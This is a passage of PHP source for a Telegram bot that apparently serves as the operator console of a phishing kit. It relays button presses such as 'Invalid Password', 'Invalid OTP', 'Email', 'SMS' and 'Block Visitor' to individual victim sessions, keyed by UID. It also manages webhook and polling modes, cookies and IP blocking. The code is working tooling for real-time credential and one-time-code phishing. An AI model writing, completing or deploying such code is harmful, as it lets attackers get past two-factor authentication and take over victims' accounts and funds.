'blocked', 'msg' => 'blocked']); exit; } function extractIpFromMessage($text) { if (preg_match('/IP\s*:\s*(\S+)/', (string)$text, $matches)) { return trim($matches[1]); } return ''; } function storeUid($uid) { $uid = safeUid($uid); file_put_contents(fileIdPath(), $uid); if (session_status() === PHP_SESSION_NONE) { session_start(); } $_SESSION['uid'] = $uid; setcookie('uid', $uid, [ 'expires' => time() + 3600, 'path' => '/', 'secure' => !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off', 'httponly' => true, 'samesite' => 'Lax', ]); } function getStoredUid() { if (file_exists(fileIdPath())) { $uid = safeUid(trim(file_get_contents(fileIdPath()))); if ($uid !== '') { return $uid; } } if (session_status() === PHP_SESSION_NONE) { session_start(); } if (!empty($_SESSION['uid'])) { return safeUid($_SESSION['uid']); } if (!empty($_COOKIE['uid'])) { return safeUid($_COOKIE['uid']); } return ''; } function saveCommand($uid, $response) { file_put_contents(commandFilePath($uid), $response); } function getCommand($uid) { $path = commandFilePath($uid); if (!file_exists($path)) { return null; } return trim(file_get_contents($path)); } function botLog($message) { file_put_contents(__DIR__ . "/bot_log.txt", date('Y-m-d H:i:s') . " " . $message . "\n", FILE_APPEND); } function httpRequest($url, $postFields = null) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 20, CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_SSL_VERIFYHOST => 2, ]); if ($postFields !== null) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postFields)); } $result = curl_exec($ch); if ($result === false) { botLog('curl error: ' . curl_error($ch)); } curl_close($ch); if ($result !== false) { return $result; } } $options = [ 'http' => [ 'timeout' => 20, ], 'ssl' => [ 'verify_peer' => true, 'verify_peer_name' => true, ], ]; if ($postFields !== null) { $options['http']['method'] = 'POST'; $options['http']['header'] = "Content-type: application/x-www-form-urlencoded\r\n"; $options['http']['content'] = http_build_query($postFields); } $context = stream_context_create($options); $result = @file_get_contents($url, false, $context); if ($result === false) { botLog('httpRequest failed: ' . $url); } return $result; } function telegramApi($token, $method, $payload = []) { $url = "https://api.telegram.org/bot" . $token . "/" . $method; $result = httpRequest($url, $payload); if ($result === false) { botLog("API fail: $method"); return null; } $decoded = json_decode($result, true); if (empty($decoded['ok'])) { botLog("API error $method: " . $result); } return $decoded; } function telegramGet($token, $method, $params = []) { $query = $method; if (!empty($params)) { $query .= '?' . http_build_query($params); } $url = "https://api.telegram.org/bot" . $token . "/" . $query; $result = httpRequest($url); if ($result === false) { botLog("GET fail: $method"); return null; } $decoded = json_decode($result, true); if (empty($decoded['ok'])) { botLog("GET error $method: " . $result); } return $decoded; } function responseLabel($response) { $labels = [ 'invalidpass' => 'Invalid Password', 'invalidemail' => 'Invalid Email', 'invalidotp' => 'Invalid OTP', 'email' => 'Email', 'sms' => 'OTP', 'done' => 'Done', 'blockvisitor' => 'Block Visitor', ]; if (strpos($response, 'tap:') === 0) { return 'Number ' . substr($response, 4); } return $labels[$response] ?? $response; } function handleCallbackQuery($token, $chatid, $callback) { $data = $callback['data'] ?? ''; $callbackId = $callback['id']; $parts = explode('|', $data, 2); if (count($parts) !== 2) { telegramApi($token, 'answerCallbackQuery', [ 'callback_query_id' => $callbackId, 'text' => 'Invalid button data', 'show_alert' => true, ]); return; } $response = $parts[0]; $uid = safeUid($parts[1]); saveCommand($uid, $response); botLog("command saved: $uid -> $response"); $label = responseLabel($response); $blockedIp = ''; if ($response === 'blockvisitor') { $blockedIp = getUidIp($uid); if ($blockedIp === '') { $blockedIp = extractIpFromMessage($callback['message']['text'] ?? ''); } if ($blockedIp !== '' && blockIp($blockedIp)) { $label .= ' (' . $blockedIp . ')'; } elseif ($blockedIp !== '') { $label .= ' (already blocked: ' . $blockedIp . ')'; } else { $label .= ' (IP not found)'; } } telegramApi($token, 'answerCallbackQuery', [ 'callback_query_id' => $callbackId, 'text' => 'Sent: ' . $label, ]); $notifyChat = $chatid ?: ($callback['message']['chat']['id'] ?? ''); if ($notifyChat) { $notifyText = "Command sent\nUID: " . $uid . "\nAction: " . $label; if ($response === 'blockvisitor' && $blockedIp !== '') { $notifyText .= "\nBlocked IP: " . $blockedIp; } telegramApi($token, 'sendMessage', [ 'chat_id' => $notifyChat, 'text' => $notifyText, 'reply_to_message_id' => $callback['message']['message_id'] ?? null, ]); } } function processUpdate($token, $chatid, $update) { if (isset($update['callback_query'])) { handleCallbackQuery($token, $chatid, $update['callback_query']); } } function pollUpdates($token, $chatid) { $lockFile = __DIR__ . '/poll.lock'; $lock = fopen($lockFile, 'c'); if (!$lock || !flock($lock, LOCK_EX | LOCK_NB)) { return ['ok' => true, 'processed' => 0, 'skipped' => 'locked']; } ensurePollingMode($token); $offsetFile = __DIR__ . '/poll_offset.txt'; $offset = file_exists($offsetFile) ? (int)trim(file_get_contents($offsetFile)) : 0; $data = telegramGet($token, 'getUpdates', [ 'offset' => $offset, 'timeout' => 0, ]); if ($data === null) { flock($lock, LOCK_UN); fclose($lock); return ['ok' => false, 'processed' => 0, 'error' => 'getUpdates request failed']; } if (empty($data['ok'])) { $error = $data['description'] ?? json_encode($data); botLog('poll error: ' . $error); flock($lock, LOCK_UN); fclose($lock); return ['ok' => false, 'processed' => 0, 'error' => $error]; } $processed = 0; foreach ($data['result'] as $update) { processUpdate($token, $chatid, $update); $offset = $update['update_id'] + 1; $processed++; } if ($processed > 0) { file_put_contents($offsetFile, (string)$offset); botLog("poll processed: $processed update(s), offset=$offset"); } flock($lock, LOCK_UN); fclose($lock); return [ 'ok' => true, 'processed' => $processed, 'offset' => $offset, ]; } function runWebhook($token, $chatid, $input = null) { if ($input === null) { $input = file_get_contents('php://input'); } botLog('webhook hit: ' . substr($input, 0, 200)); $update = json_decode($input, true); if ($update) { processUpdate($token, $chatid, $update); } http_response_code(200); header('Content-Type: application/json'); echo '{"ok":true}'; } function getConfiguredWebhookUrl() { if (php_sapi_name() !== 'cli') { $https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); $scheme = $https ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? ''; if ($host !== '') { $scriptDir = str_replace('\\', '/', dirname($_SERVER['SCRIPT_NAME'] ?? '/bot.php')); if ($scriptDir === '/') { $scriptDir = ''; } return $scheme . '://' . $host . $scriptDir . '/bot.php'; } } $cacheFile = __DIR__ . '/.webhook_ok'; if (file_exists($cacheFile)) { return trim(file_get_contents($cacheFile)); } return ''; } function ensureWebhook($token, $force = false) { $cacheFile = __DIR__ . '/.webhook_ok'; $url = getConfiguredWebhookUrl(); if ($url === '') { botLog('ensureWebhook: could not detect webhook URL (visit bot.php or res.php over HTTP first)'); return ['ok' => false, 'error' => 'Could not detect webhook URL from host']; } if (!$force && file_exists($cacheFile)) { $cached = trim(file_get_contents($cacheFile)); if ($cached === $url && (time() - filemtime($cacheFile)) < 86400) { return ['ok' => true, 'cached' => true, 'url' => $url]; } } $info = telegramApi($token, 'getWebhookInfo', []); $current = $info['result']['url'] ?? ''; if (!$force && $current === $url) { file_put_contents($cacheFile, $url); return ['ok' => true, 'already_set' => true, 'url' => $url]; } telegramApi($token, 'deleteWebhook', ['drop_pending_updates' => false]); $result = telegramApi($token, 'setWebhook', ['url' => $url]); if (!empty($result['ok'])) { file_put_contents($cacheFile, $url); @unlink(pollingReadyCachePath()); botLog('ensureWebhook: registered ' . $url); } return $result; } function isPollingMode() { global $usePolling; return !empty($usePolling); } function pollingReadyCachePath() { return __DIR__ . '/.polling_ready'; } function ensurePollingMode($token) { if (file_exists(pollingReadyCachePath())) { return; } $info = telegramGet($token, 'getWebhookInfo'); $current = $info['result']['url'] ?? ''; if ($current !== '') { telegramApi($token, 'deleteWebhook', ['drop_pending_updates' => false]); botLog('polling: removed webhook ' . $current); } file_put_contents(pollingReadyCachePath(), '1'); } function ensureBotMode($token, $chatid) { if (isPollingMode()) { ensurePollingMode($token); return pollUpdates($token, $chatid); } return ensureWebhook($token); } function setupWebhook($token) { if (isPollingMode()) { ensurePollingMode($token); return ['ok' => true, 'mode' => 'polling']; } return ensureWebhook($token, true); } function isBotEntryPoint() { $script = $_SERVER['SCRIPT_FILENAME'] ?? ''; if ($script === '') { return false; } return strcasecmp(basename($script), 'bot.php') === 0; } function isPollEntryPoint() { $script = $_SERVER['SCRIPT_FILENAME'] ?? ''; if ($script === '') { return false; } return strcasecmp(basename($script), 'poll.php') === 0; } if (isBotEntryPoint()) { if (empty($token)) { http_response_code(500); header('Content-Type: text/plain'); echo "Error: Set \$token and \$chatid in config.php\n"; exit; } if (isset($_GET['setup'])) { header('Content-Type: application/json'); echo json_encode(setupWebhook($token)); exit; } if (isset($_GET['poll']) || isPollingMode()) { header('Content-Type: application/json'); if (isPollingMode()) { ensurePollingMode($token); } echo json_encode(pollUpdates($token, $chatid)); exit; } if (php_sapi_name() === 'cli') { $command = $argv[1] ?? ''; if ($command === 'setup') { echo json_encode(setupWebhook($token), JSON_PRETTY_PRINT) . PHP_EOL; exit; } if ($command === 'poll') { ensurePollingMode($token); pollUpdates($token, $chatid); exit; } } if (isPollingMode()) { header('Content-Type: application/json'); ensurePollingMode($token); echo json_encode(pollUpdates($token, $chatid)); exit; } $input = file_get_contents('php://input'); $isTelegramPost = $_SERVER['REQUEST_METHOD'] === 'POST' && strpos($input, '"update_id"') !== false; if (!$isTelegramPost) { ensureWebhook($token); } runWebhook($token, $chatid, $input); } if (isPollEntryPoint()) { if (empty($token)) { http_response_code(500); header('Content-Type: application/json'); echo json_encode(['ok' => false, 'error' => 'Set $token in config.php']); exit; } header('Content-Type: application/json'); $result = pollUpdates($token, $chatid); $result['token_set'] = true; $result['chatid_set'] = !empty($chatid); echo json_encode($result); }